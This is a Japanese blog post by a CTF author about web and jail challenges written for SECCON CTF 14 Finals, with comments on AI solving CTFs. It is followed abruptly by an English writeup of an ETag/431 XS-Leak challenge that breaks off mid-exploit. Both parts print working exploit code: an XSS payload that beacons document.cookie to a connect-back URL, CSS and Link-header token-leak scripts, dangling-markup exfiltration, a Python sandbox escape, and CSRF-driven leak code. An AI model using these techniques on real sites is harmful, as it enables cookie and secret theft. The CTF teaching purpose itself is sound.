参加した皆さんありがとうございます & 入賞したみなさんおめでとうございます 🎉

今年は、1日目がJeopardyで2日目がKing of the Hillという競技形式でした。両日でまったく異なる競技形式であるため、1〜2日目の間の夜に寝る間も惜しんで問題に挑む今までの慣習（いわゆる宿題）がなかったのは参加者視点だと大きかったかと思います。

私はJeopardyのweb問とjail問を作問しました。Slay the Noteは特におすすめです！

各問題のソースコードやソルバはリポジトリにpush済みです:

• https://github.com/arkark/my-ctf-challenges?tab=readme-ov-file#seccon-ctf-14-finals

※ この記事はwriteupではなくて作問の背景や感想です。

Jeopardyは1日目の9時間開催であり、4人チームで各自が自分の得意ジャンルを挑むことを考慮すると、実質ソロ参加の9時間CTFです。その想定で全体の難易度を調整したつもりで問題セットを用意しました。

結果だけ見ると、webについては、比較的簡単めな2つの問題はAI-solvableだったみたいで全チームに解かれ、残り2問はほとんど解かれないという順位の差が付かないものになってしまいました。AIチェックが甘かったのは完全に準備不足だったので申し訳ないです。そうなった細々とした理由はありますが、脱線するので後述します。Slay the Noteは、ほとんど答えまで行っていたチームが複数あったので、あと数時間くらい時間が長ければsolvesは増えていたかもしれないです。

LLM時代のCTF​

昨今のAIブームを見るにLLM時代のCTFについての話題を見かけることも増えてきたので、ここで触れておきます。「CTFは終わったのか？ / 終わるのか？」という話は1年ちょっと前くらいからずっとされてましたし、実際、今回のSECCON CTF本戦ではすべてのチームがLLMをメイン武器として利用していたと思います。

※ カテゴリによって見えている景色は大きく異なっているようで、傍から見ると「reversing → crypto → web → pwn」の順にLLMの躍進が目立っている印象です。私の視点ではwebしか見えていないので、以下は webに対する言及 であって他カテゴリについてはノーコメントの立場です。

現状は以下の印象です:

• 典型問題や初心者向けの易しい問題: AIに投げるだけで解ける
• 典型ではなく少し発展的な問題: 適切な誘導を与えればAIで解ける
• 新規性やクリエイティブ性のある問題: まだAIで解けない

中難易度帯の一部と高難易度帯では競技としてまだ成立している感覚です。実際、今回のShadow CSSやSlay the Noteは全然解かれていません。また、AI活用のうまさやPay to Winの本気度によって多少のブレはあるので、みんながみんなAIを使えば同等の力が得られるというわけではないのでそこは勘違いしないようにしたいです。難しい問題はAIで解けないと書きましたが、AIを活用・連携しながら解くのは当たり前の時代です。

さて、現状は現状として、上記の"AI-solvability"のグラデーション（というか閾値）のようなものが現在進行系で押し上げられているのも事実です。AIで簡単に解けてしまう領域に関しては競技性は完全に失われてしまうので、その領域がどんどん大きくなっている実情を踏まえると "競技性をCTFに求めるなら" 将来的にオワコンになっていくのは自然な流れです。そこは素直に受け止めたいです。

とはいえ正直なところ、オンラインCTFで0〜2 solvesのボス問相当の問題になると、完全に新規の攻撃手法であったり異常なout-of-the-boxを求められたりするので、今後もAIだけで解くのは難しいのではないかと思っています。逆にそれらがAIに解かれるようになると、世の中の「研究」に類いするものはすべて価値をなくしてしまいそうです。いずれその未来がやってくる可能性は否定できないですが、もしそこまできたらCTFどうこうの話以前に社会構造が変わるレベルまで影響しそうなので一旦気にしなくていいと思います。いや、気にするべきではあるんですがだいぶスケールの大きな話になりそうなので。

というわけで、そのレベルの難易度帯が出題されるCTFは今後もしばらく生き残れそうなんですが、一部のトップ層の人しか楽しめないコンテンツになりそうという懸念はあります。

大局的には、「CTFは 競技として みんなが楽しめるコンテンツだ」という幻想はもう捨ててしまって、純粋に 娯楽や教育目的として のCTFにシフトしていくと良さそうかなと思います。もしくは、Intigritiが一時期やっていた、「高難易度なXSSチャレンジを1問だけ出題 → 1週間程度の締め切りを設定した上でみんなに挑んでもらう」みたいな企画は別の切り口としてありかもです。

せっかくここまで成熟した（？）コミュニティではあるので、CTFは終わったんだという風な煽りや悲観はむやみにせずに、娯楽としてまだまだ楽しめる余地がたくさんあるという方向性で世間の関心が向くといいなあと考えています。コンピュータ・サイエンスを絡めたパズルを遊ぶのはおもしろいですし、もっと広まってほしいです。

ちなみに元々私は楽しく遊べたらいいじゃん派であって、順位とかはサブ要素としてしか感じていなかったので現状に悲観的な立場ではないです。競技ジャンキーな人たちにとってはつらいかもです。

[web] Warpup​

問題文:

warpup = warp + warmup

- Challenge: http://warpup.{int,dom}.seccon.games:3000

ソースコード & ソルバ:

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/warpup

様々な言語でstreamのインターフェイスを備えた機能を標準ライブラリやフレームワーク等で提供されていることが増えてきてるんですが、特にutf-8エンコード/デコードでありがちな罠をテーマに出題してみました。

元ネタはこちらです:

• https://zenn.dev/fraim/articles/2024-02-01-rust-hyper-buffer-size

今回の問題では、以下の通りリクエストボディをstreamで読み込んでいます。最終的にパストラバーサルで /proc/self/environ を読めばフラグが手に入ります。

async fn read_file(
    body: impl Stream<Item = Result<impl bytes::Buf, warp::Error>>,
) -> impl warp::Reply {
    let path: String = body
        .fold(String::from("./"), |mut path, buf| async move {
            let mut buf = buf.unwrap();
            while buf.has_remaining() {
                let chunk = buf.chunk();
                path += &String::from_utf8(chunk.into()).unwrap_or_default();
                buf.advance(chunk.len());
            }
            path
        })
        .await;

    fs::read_to_string(&path).unwrap_or(format!("Not Found: {}", &path).into())
}

String::from_utf8(chunk.into()).unwrap_or_default() で、デコードが失敗したら unwrap_or_default で握りつぶしている処理が重要です。また、長いペイロードを一気に投げるとチャンクが分割されるので、マルチバイト文字の途中でちょうど分割されるような長い文字列を渡すと、すべて無視されて空文字列になります。

また、以下のようなプロキシが用意されており、 waf 関数によって単純なパストラバーサルが防がれているのでどうすればよいかという問題でした:

import socket, select, threading

LISTEN = ("0.0.0.0", 3000)
UPSTREAM = ("backend", 3000)


def waf(req: str) -> bool:
    return (
        # Path traversal?
        ".." in req
        or
        # Transfer-Encoding?
        "transfer" in req.lower()
    )


def proxy(client: socket.socket, upstream: socket.socket):
    rlist = [client, upstream]
    for conn in rlist:
        conn.settimeout(0.2)

    req = b""
    while rlist:
        r, _, _ = select.select(rlist, [], [], 10)
        if not r:
            break
        for src in r:
            dst = [client, upstream][src is client]

            data = b""
            while True:
                try:
                    data += src.recv(65536)
                except (BlockingIOError, TimeoutError) as e:
                    break
            if not data:
                dst.shutdown(socket.SHUT_WR)
                rlist.clear()
                break

            if src is client:
                req += data
                if waf(req.decode()):
                    client.sendall(
                        b"HTTP/1.1 403 Forbidden\r\n"
                        b"Content-Type: text/plain\r\n"
                        b"Content-Length: 0\r\n"
                        b"Connection: close\r\n\r\n"
                    )
                    rlist.clear()
                    break

            dst.sendall(data)


def handle(client: socket.socket):
    try:
        upstream = socket.create_connection(UPSTREAM, timeout=10)
        proxy(client, upstream)
    finally:
        for conn in (client, upstream):
            try:
                conn.close()
            except:
                pass


def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.bind(LISTEN)
        sock.listen(socket.SOMAXCONN)
        print(f"* forwarding {LISTEN} -> {UPSTREAM}")
        while True:
            client, _ = sock.accept()
            threading.Thread(target=handle, args=(client,), daemon=True).start()


if __name__ == "__main__":
    main()

ソルバはこちらです:

• https://github.com/arkark/my-ctf-challenges/blob/main/challenges/202603_SECCON_CTF_14_Finals/web/warpup/solution/solve.py

HTTP/1.1で適切にsleepを入れつつ長いペイロードを送れば解けるんですが、HTTP/2で（AIが）がんばって解いたチームが多かった雰囲気です。

AIチェックは行ったつもりだったんですが、甘かったようです。 HTTP/2解法は想定していなくて、実際にAIがHTTP/2で解こうとする様子は確認できてたんですが、回答を待ちきれずに「HTTP/2路線で考えるのはやめてください」と指示を出してしまっていたような記憶があります。本当に良くない。

まったくコンテキストを入れずに、純粋に解いてもらうようにテストするべきでした。

[web] DOMDOMDOMPurify​

問題文:

DOM DOM DOM

- Challenge: http://domdomdom.{int,dom}.seccon.games:3000
- Admin bot: http://domdomdom.{int,dom}.seccon.games:1337

ソースコード & ソルバ:

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/domdomdom

以下のHTMLファイルでXSSをやってくださいという問題でした。シンプルなDOMPurifyパズルです。

<body>
  <h1>XSS Challenge</h1>
  <form action="/" method="get">
    <input name="x" placeholder="{X}" required />
    <input name="y" placeholder="{Y}" required />
    <input name="z" placeholder="{Z}" required />
    <button type="submit">Go</button>
  </form>
  <main id="result" style="font-size: 2em; padding: 0.5em">{X}{Y}{Z}</main>
  <script
    src="https://cdn.jsdelivr.net/npm/dompurify@3.3.1/dist/purify.min.js"
    integrity="sha256-m0lAV/rWZW/ZziCJ0LaJjfljLBDkXkd1pDBzpGz/yMs="
    crossorigin="anonymous"
  ></script>
  <script>
    DOMPurify.addHook("afterSanitizeAttributes", (node) => {
      for (const { name, value } of node.attributes) {
        if (/[{}]/.test(value)) node.attributes.removeNamedItem(name);
      }
    });

    const [[, x], [, y], [, z]] = new URLSearchParams(location.search);
    if (x && y && z)
      result.innerHTML = "{X}{Y}{Z}"
        .replace("{X}", () => DOMPurify.sanitize(`<span>${x}</span>`))
        .replace("{Y}", () => DOMPurify.sanitize(`<span>${y}</span>`))
        .replace("{Z}", () => DOMPurify.sanitize(`<span>${z}</span>`));
  </script>
</body>

本来は属性値で {} の文字種が使えないように制約を与えたつもりだったんですが、普通にバグっており少しfor文を騙せば属性値で使用可能でした。流石に簡単すぎるのでAIに瞬殺です。

今までの作問の中で一番しょうもない作問ミスなので反省です。すみません...

想定解は以下です:

const x = `<style><{Y}/style> <{Z}img src onerror=eval(decodeURIComponent(location.hash.slice(1)))></style>`;

// ref. https://github.com/cure53/DOMPurify/blob/3.3.1/src/purify.ts#L1080-L1090
const y = `&lt;a<!--`;
const z = `&lt;a<!--`;

const xss = `navigator.sendBeacon("${CONNECTBACK_URL}/flag", document.cookie)`;
const url = `http://web:3000?${new URLSearchParams({ x, y, z })}#${encodeURIComponent(xss)}`;

DOMPurify.sanitize("<span>&lt;a<!--</span>") の結果は空文字列になるので、それをうまくパズルに組み込めば解けます。

DOMPurify.sanitize(`<span>${y}</span>`)

の結果が空文字列にする方法はありますか？とLLMに聞くと答えてくれるので、DOMPurifyの細かい挙動を確認しつつ軽めのパズルをし、適切な誘導をLLNMに与えれば解けるという塩梅を狙ってました。

[web] Shadow CSS​

問題文:

Shadow DOM is not a security boundary, but a fun CTF toy :)

- Challenge: http://shadow-css.{int,dom}.seccon.games:3000
- Admin bot: http://shadow-css.{int,dom}.seccon.games:1337

ソースコード & ソルバ:

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/shadow-css

問題サーバのソースコードは以下だけです:

import express from "express";
import cookieParser from "cookie-parser";

const template = `
<!DOCTYPE html>
<html>
  <head>
    <style>{{CSS}}</style>
  </head>
  <body>
    <h1>Shadow CSS 👤</h1>
    <div>
      <template shadowrootmode="closed">
        <div data-token="{{TOKEN}}"></div>
      </template>
    </div>
  </body>
</html>
`.trim();

express()
  .use(cookieParser())
  .get("/", (req, res) => {
    const { css = "", k, v } = req.query;
    const TOKEN = req.cookies.TOKEN ?? "TOKEN_0123456789abcdef01234567";

    const html = template
      .replace("{{TOKEN}}", () => TOKEN.replace(/[<>"]/g, ""))
      .replace("{{CSS}}", () => css.replace(/[<>]/g, ""));

    if (k && v) res.header(k, v);
    res.type("html").end(html);
  })
  .listen(3000);

botの TOKEN クッキーを盗むのがゴールで、ブラウザは Firefox です。

CSSインジェクションとヘッダのkey/valueを1組指定可能な状態で、Shadow DOM内の属性値の値を盗むことが可能か？という問題でした。

以下のkinugawaさんのスライドにもある通り、CSSの継承を悪用すればCSSインジェクションでShadow DOM内の テキスト をリークすることは可能ですが、 属性値 をリークするのは難しいです:

• https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-13?slide=41

属性値リークは私も色々挑戦したのですが今のところ有効な手法は思いついていないです（もし、思いついた人がいたら教えてください！）。 というわけで、CSSインジェクションに加えてヘッダインジェクションが可能だったらリークできるか？という問題に昇華してみました。

想定解はLinkヘッダによるCSS読み込みです。現状主要なブラウザでLinkヘッダにstylesheetを指定可能なのはFirefoxのみです。Linkヘッダでは通常の <link> 要素と同様にintegrityを指定できるので、SRIチェックによって Content-Lengthでレスポンスサイズを調整しつつ一文字ずつ特定することが可能です。2年前に私が出題した「cgi-2023」とオラクルの作り方が似ているので参考になると思います:

• https://blog.arkark.dev/2023/12/28/seccon-finals#web-cgi-2023

こんな感じでリーク可能です:

<body>
  <script
    src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"
    integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ=="
    crossorigin="anonymous"
    referrerpolicy="no-referrer"
  ></script>

  <script type="module">
    const BASE_URL = "http://web:3000";
    const CHARS = [..."0123456789abcdef"];

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const calcIntegrity = (data) => "sha256-" + CryptoJS.enc.Base64.stringify(CryptoJS.SHA256(data));

    const getCss = (css, prefix) => {
      return (
        `
<!DOCTYPE html>
<html>
  <head>
    <style>{{CSS}}</style>
  </head>
  <body>
    <h1>Shadow CSS 👤</h1>
    <div>
      <template shadowrootmode="closed">
        <div data-token="
        `
          .trim()
          .replace("{{CSS}}", css) + prefix
      );
    };

    const win = open("");
    await sleep(100);

    const leak = async (known) => {
      const links = [];
      for (const c of CHARS) {
        const prefix = known + c;

        const innerCss = `{} h1 { background: url(${location.origin}/leak?prefix=${prefix}) }`;
        const outerCss = getCss(innerCss, prefix);

        const integrity = calcIntegrity(outerCss);
        const link = `</?${new URLSearchParams({
          css: innerCss,
          k: "Content-Length",
          v: new TextEncoder().encode(outerCss).length,
        })}>; rel=stylesheet; integrity=${integrity}`;

        links.push(link);
      }

      const url = `${BASE_URL}/?${new URLSearchParams({
        k: "Link",
        v: links.join(", "), // https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Link#specifying_multiple_links
      })}`;

      win.location = url;

      return await Promise.race([
        fetch(`/known?length=${known.length + 1}`).then((r) => r.text()),
        sleep(1000),
      ]);
    };

    let known = "TOKEN_";
    for (let i = 0; i < 12 * 2; i++) {
      console.log({ known });
      known = await leak(known);
    }

    navigator.sendBeacon("/token", known);
  </script>
</body>

ちなみに、botのtimeoutは10秒に設定されておりXS-Leakにしてはかなり短くて、高速なオラクルでないといけません。

実はLinkヘッダはカンマ区切りで複数のリンクを指定可能です。想定解ではこれを利用して高速化を行っており約5秒程度でリークが完了します:

• https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Link#specifying_multiple_links

また、ちょっとしたtipsですが、通常はドキュメントがQuirks Modeではない場合は Content-Type: text/html のレスポンスをCSSとして読み込むのはブラウザに拒否されますが、Linkヘッダによる読み込みの場合はその限りではないようです。

[web] Slay the Note​

問題文:

🐍 Snecko Eye 👁

- Challenge: http://slay-the-note.{int,dom}.seccon.games:3000
- Admin bot: http://slay-the-note.{int,dom}.seccon.games:1337

ソースコード & ソルバ:

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/web/slay-the-note

問題サーバのソースコードは以下だけです:

import Koa from "koa";
import Router from "@koa/router";
import bodyParser from "@koa/bodyparser";
import sanitize from "sanitize-html";
import fs from "node:fs";
import crypto from "node:crypto";

const app = new Koa();
app.use(bodyParser());

app.use((ctx, next) => {
  const nonce = crypto.randomBytes(8).toString("base64");
  ctx.set(
    "Content-Security-Policy",
    `script-src 'nonce-${nonce}'; style-src 'nonce-${nonce}'; base-uri 'none'`,
  );
  ctx.nonce = nonce;

  ctx.notes = ((v) => (v ? v.split("|") : []))(ctx.cookies.get("notes"));
  next();
  ctx.cookies.set("notes", ctx.notes.join("|"));
});

const router = new Router()
  .get("/", (ctx) => {
    ctx.type = "html";
    ctx.body = fs
      .readFileSync("index.html", { encoding: "utf-8" })
      .replaceAll("{{NONCE}}", () => ctx.nonce);
  })
  .get("/notes", (ctx) => {
    ctx.type = "json";
    ctx.body = ctx.notes;
  })
  .post("/new", (ctx) => {
    const note = sanitize(
      `<article>${String(ctx.request.body.note).slice(0, 1024)}</article>`,
    );
    ctx.notes.push(note);
    ctx.notes.sort();
    ctx.redirect("/");
  });

app.use(router.routes()).use(router.allowedMethods());

app.listen(3000);

以下の通りbotはTOKENをノートとして投稿するので、そのノートの内容をリークするのがゴールです:

  const context = await browser.createBrowserContext();

  try {
    // Create a token note
    const page1 = await context.newPage();
    await page1.goto(challenge.appUrl, { timeout: 3_000 });
    await page1.waitForSelector("#create");
    await page1.type("#create input[name=note]", token);
    await page1.click("#create input[type=submit]");
    await sleep(1_000);
    await page1.close();
    await sleep(1_000);

    // Visit the given URL
    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 5_000 });
    await sleep(15_000);
    await page2.close();
  } catch (e) {
    console.error(e);
  }

この問題で一番重要なのはKoa（が依存しているcookies）のcookie parserの以下の処理です:

  if (value[0] === '"') value = value.slice(1, -1)

なんと、Cookieの値部分で先頭に " が存在した場合、パース時に先頭と末尾がそれぞれ1文字ずつ落とされます。 加えてアプリケーションのロジックをよく読むと | の取り扱いがおかしいので、この2つのギミックを利用してパズルをすると解けます:

<body>
  <form id="create" action="..." method="post" target="win">
    <input type="text" name="note" />
  </form>
  <script type="module">
    const BASE_URL = "http://web:3000";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const win = open("", "win");
    const createNote = async (note) => {
      const form = document.forms[0];
      form.action = `${BASE_URL}/new`;
      form.note.value = note;
      form.submit();
      await sleep(500);
    };

    const deleteLast = async (num) => {
      for (let i = 0; i < num; i++) {
        win.location = `${BASE_URL}/notes`;
        await sleep(100);
      }
    };

    await createNote(`Y|${'"'.repeat(20)}`);
    await createNote(`Z|$<table></table>`);
    await deleteLast(`></table></article>`.length - 2 - 1);
    await createNote(`|/background="${location.origin}/leak?dangling=`);
    await createNote(`X"<table></table>`);
    // ref. https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#background-attribute
  </script>
</body>

sanitize-htmlが結構固くて、最後に <table background=... という古のテクニックを使うのは盲点だったかなと思います。ちなみに私はChatGPTに聞きました:

解法については、st98さんのwriteupがかなり丁寧に書かれていてわかりやすいので参考にしてください:

• https://nanimokangaeteinai.hateblo.jp/entry/2026/03/02/235931#競技時間中には解けず-Web-500-Slay-the-Note-0-solves

作問背景としては、趣味でパーサの実装を眺めていたらたまたまおもしろい実装を見かけたので、それをそのままパズルに落とし込んでみました。パズルとしては自信作なので、色んな人に挑戦してもらえるとうれしいです！

昨年出題したtwisty-xssも、XSSパズルとしておすすめです。パズルしましょう。

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202503_SECCON_CTF_13_Finals/web/twisty-xss

ところでSlay the Spire 2がかなりおもしろいです。助けてください。

[jail] increasing​

問題文:

a bb ccc dddd eeeee ffffff ggggggg ...

`nc increasing.seccon.games 5000`

ソースコード & ソルバ:

• https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202603_SECCON_CTF_14_Finals/jail/increasing

本戦で1問だけ出題されたjail問です。複数問を用意しても良かったんですが、4人チームでjail担当でやってくる人はあまりいないだろうということで自粛しました。

内容はpyjailです:

code = input("code> ")[:130]

if not code.isascii():
    print("bye")
    exit(1)

max_len = 0
for m in __import__("re").finditer(r"\w+", code):
    if len(m[0]) <= max_len:
        print("bye")
        exit(1)
    max_len = len(m[0])

eval(code, {"__builtins__": {}})

狭義単調増加プログラミングをやってください、ただし130文字以内で...という問題でした。

意味不明な問題設定ですが、jailCTF 2025のprimalから問題アイデアが生まれました:

• https://github.com/jailctf/challenges-2025/blob/master/primal/handout/main.py

primalの方は長さが素数になっているものしか使えないという制限でした。不可思議な制限でもちゃんと問題として成立しているのはおもしろいなと思います。

さて、今回の問題increasingの想定解は以下でした（124文字）:

(__builtins__:=[].__reduce_ex__(-~(()==()))[()<()].__getattribute__("\u0000__builtins__"[()==():]))["\U00000062reakpoint"]()

同じ解法の人はいましたか？

__builtins__を上書きすることで breakpoint() を呼べるようにしています。 \U00000062 がきれいにはまっているのが推しポイントです。

impossible-leak is one of the challenges I authored for SECCON CTF 14 Quals¹:

• Difficulty: 1 solve² / 500 pts
• Author: me
• Source: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202512_SECCON_CTF_14_Quals/web/impossible-leak

This technique is likely applicable beyond this specific challenge. We can use it as an unintended solution in other XS-Leak challenges. In fact, I first came up with it as an unintended approach during an earlier CTF and later refined it into a standalone technique.

Challenge Overview​

The target is a very simple note-taking application.

Server-side code:

import express from "express";
import session from "express-session";
import crypto from "node:crypto";

const db = new Map();
const getNotes = (id) => {
  if (!db.has(id)) db.set(id, []);
  return db.get(id);
};

const app = express()
  .set("view engine", "ejs")
  .use(express.urlencoded())
  .use(
    session({
      secret: crypto.randomBytes(16).toString("base64"),
      resave: false,
      saveUninitialized: true,
    })
  );

app.get("/", (req, res) => {
  const { query = "" } = req.query;
  const notes = getNotes(req.session.id).filter((note) => note.includes(query));
  res.render("index", { notes });
});

app.post("/new", (req, res) => {
  const note = String(req.body.note).slice(0, 1024);
  getNotes(req.session.id).push(note);
  res.redirect("/");
});

app.listen(3000);

Template file:

<!DOCTYPE html>
<html>
  <body>
    <h1>Notes</h1>
    <form id="create" action="/new" method="post">
      <div>
        <input type="text" name="note" required />
        <input type="submit" value="Create" />
      </div>
    </form>
    <ul>
      <% notes.forEach(note => {%>
        <li><%= note %></li>
      <% }); %>
    </ul>
    <form action="/" method="get">
      <div>
        <input type="text" name="query" />
        <input type="submit" value="Search" />
      </div>
    </form>
  </body>
</html>

Endpoints:

• GET /: Shows your notes.
  • No HTML injection.
  • Supports searching via the query parameter.
• POST /new: Creates a note.
  • Vulnerable to CSRF.

Notes page:

Search results for SECCON{r:

The goal is to leak the bot's note (the flag):

// Create a flag note
const page1 = await context.newPage();
await page1.goto(challenge.appUrl, { timeout: 3_000 });
await page1.waitForSelector("#create");
await page1.type("#create input[name=note]", flag.value);
await page1.click("#create input[type=submit]");
await sleep(1_000);
await page1.close();
await sleep(1_000);

// Visit the given URL
const page2 = await context.newPage();
await page2.goto(url, { timeout: 3_000 });
await sleep(60_000);
await page2.close();

The timeout is relatively long (60s), so this looks like an XS-Leak challenge. However:

• There is no HTML injection.
• There is no sorting feature.
• There is no CSS.
• There is no extra resource loading.

These conditions make typical XS-Leak approaches difficult to apply.

Solution​

Step 1: ETag Header Length​

The first step in solving such challenges is to carefully compare observable differences between:

• when the search hits the flag note, and
• when it misses.

When the search hits:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 484
ETag: W/"1e4-Mfh5EeZSATTUBTZ0fvEzgdvLYu4"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

When it misses:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 443
ETag: W/"1bb-Ouz/TB1WQCg6QhEFVloBFY6TJKk"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

The response body is larger when it hits (because it renders the matching note), so Content-Length changes. The key observation is that the ETag value changes too and more importantly, its length can change.

In this app, the ETag is generated by jshttp/etag. The format includes the content size in hex as a prefix:

W/"{{ stat.size.toString(16) }}-{{ stat.mtime.getTime().toString(16) }}"

Reference: https://github.com/jshttp/etag/blob/v1.8.1/index.js#L126-L131

Because the size is encoded in hex, the number of hex digits changes at boundaries (e.g., 0xfff -> 0x1000). That means the ETag length can differ by 1 depending on whether the response size crosses such a boundary.

In this challenge, we can control the response size by abusing CSRF to create many notes in the victim's session. This allows us to manipulate the total response size so that:

• search hit -> response size becomes 0x1000 + ... (4 hex digits)
• search miss -> response size stays at 0xfff (3 hex digits)

It produces a 1-byte difference in the ETag length.

Below is an example CSRF page that prepares two prefixes: one that matches the flag note (SECCON{r...) and one that does not.

<body>
  <form id="create" action="..." method="post" target="csrf">
    <input type="text" name="note" />
  </form>
  <script type="module">
    const BASE_URL = "http://web:3000";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const csrfWin = open("about:blank", "csrf");
    const createNote = async (note) => {
      const form = document.forms[0];
      form.action = `${BASE_URL}/new`;
      form.note.value = note;
      form.submit();
      await sleep(100);
    };

    const prepared = new Set();
    const prepare = async (prefix) => {
      if (prepared.has(prefix)) return;
      prepared.add(prefix);

      const initialLen = 443;
      const part = "\n        <li>" + "</li>\n      ";

      let len = initialLen;
      while (16 ** 3 - len - part.length - 1 > 0) {
        const note = prefix.padEnd(
          Math.min(1024, 16 ** 3 - len - part.length - 1),
          "*"
        );
        len += note.length + part.length;
        await createNote(note);
      }
    };

    await prepare("SECCON{r"); // Matches `SECCON{redacted}`
    await prepare("SECCON{x"); // Does not match `SECCON{redacted}`
  </script>
</body>

After visiting the page, the responses appear as follows.

Hit (?query=SECCON{r):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 4136
ETag: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

Miss (?query=SECCON{x):

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 4095
ETag: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
Date: ...
Connection: keep-alive
Keep-Alive: timeout=5

... snip ...

• Hit: ETag: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
  • Response size: 0x1028
  • ETag length: 36
• Miss: ETag: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
  • Response size: 0xfff
  • ETag length: 35

Step 2: 431 Status Error​

What can we do with this 1-byte difference in ETag length?

If a response includes an ETag header, a subsequent request to the same URL will include the If-None-Match header:

• Hit: If-None-Match: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
• Miss: If-None-Match: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"

So the request headers on the second navigation become slightly longer in the hit case.

Many web servers enforce a maximum allowed size for request headers (including the request-line) as a DoS mitigation. If the request exceeds this limit, the server returns 431 Request Header Fields Too Large.

In this challenge, Express runs on node:http, which has a request header size limit http.maxHeaderSize (default: 16 KiB):

uint64_t max_http_header_size = 16 * 1024;

By padding the URL so that the total header size is right at the threshold, the extra 1 byte in If-None-Match can be the difference between:

• If the header size is still under the limit: 200 OK
• If the header size is just over the limit: 431 Request Header Fields Too Large

If the URL is "http://web:3000?query=SECCON{r&" + "X".repeat(15834) (hit case):

• 1st access: 200 OK
• 2nd access: 431 Request Header Fields Too Large

If the URL is "http://web:3000?query=SECCON{x&" + "X".repeat(15834) (miss case):

• 1st access: 200 OK
• 2nd access: 200 OK

Step 3: History API Behavior​

Now we need to detect whether or not a 431 error occurs on cross-site pages.

Normally, cross-origin status codes are opaque. However, in this case, we can exploit a Chromium-specific behavior regarding session history updates.

When a navigation happens, the browser typically "pushes" a new history entry, increasing history.length by 1. However, Chromium sometimes "replaces" the current entry instead of pushing a new one.

Chromium uses should_replace_current_entry to decide between "push" and "replace":

      blink::mojom::NavigationApiEntryRestoreReason reason =
          common_params_->should_replace_current_entry
              ? blink::mojom::NavigationApiEntryRestoreReason::
                    kPrerenderActivationReplace
              : blink::mojom::NavigationApiEntryRestoreReason::
                    kPrerenderActivationPush;

One condition that can cause "replace" is when a navigation to the same URL fails (with an invalid page_state):

• https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:content/browser/renderer_host/navigation_request.cc;l=6307-6308
• https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:content/browser/renderer_host/navigation_request.cc;l=10679

Therefore, if we navigate to the same URL twice in a row and the second navigation fails due to a 431 error, those two navigations contribute only one new history entry (because the second navigation replaces the first).

This means we can detect 431 by measuring history.length on a window we control.

A minimal demo looks like this:

    let win = open("about:blank");

    const getUrl = (prefix, padLength, nonce) =>
      `${BASE_URL}/?${new URLSearchParams({
        query: prefix,
        pad: nonce.padEnd(padLength, "x"),
      })}`;

    const got431 = async (prefix, padLength) => {
      await prepare(prefix);

      const nonce = (Math.random() + "").padEnd(20, "0");
      const url = getUrl(prefix, padLength, nonce);

      const len1 = win.history.length;

      win.location = url;
      await sleep(100);
      win.location = url;
      await sleep(100);
      win.location = "about:blank";
      await sleep(100);
      const len2 = win.history.length;

      const diff = len2 - len1;
      // If a 431 error occurs: diff === 2
      // Otherwise: diff === 3

      console.log({ prefix, len1, len2, diff });
      return diff === 2;
    };

    const threshold = 15822; // TODO: Not implemented

    console.log(await got431("SECCON{r", threshold)); // -> true
    console.log(await got431("SECCON{x", threshold)); // -> false

The following diagrams illustrate the concept.

When searching for SECCON{r (flag note hit):

When searching for SECCON{x (flag note miss):

Putting It All Together​

The final exploit combines:

1. Using CSRF to create many notes, and tuning the response size near a hex boundary in ETag
2. URL padding to push the second request near Node's header-size threshold
3. Measuring history.length to detect whether the second navigation turns into a 431 error

The final exploit looks like this:

<body>
  <form id="create" action="..." method="post" target="csrf">
    <input type="text" name="note" />
  </form>
  <script type="module">
    const BASE_URL = "http://web:3000";
    const CHARS = [..."_abcdefghijklmnopqrstuvwxyz"];

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const debug = (o) => navigator.sendBeacon("/debug", JSON.stringify(o));
    // const debug = (o) => console.log(o);

    let known = new URLSearchParams(location.search).get("known") ?? "SECCON{";

    const csrfWin = open("about:blank", "csrf");
    const createNote = async (note) => {
      const form = document.forms[0];
      form.action = `${BASE_URL}/new`;
      form.note.value = note;
      form.submit();
      await sleep(100);
    };

    const prepared = new Set();
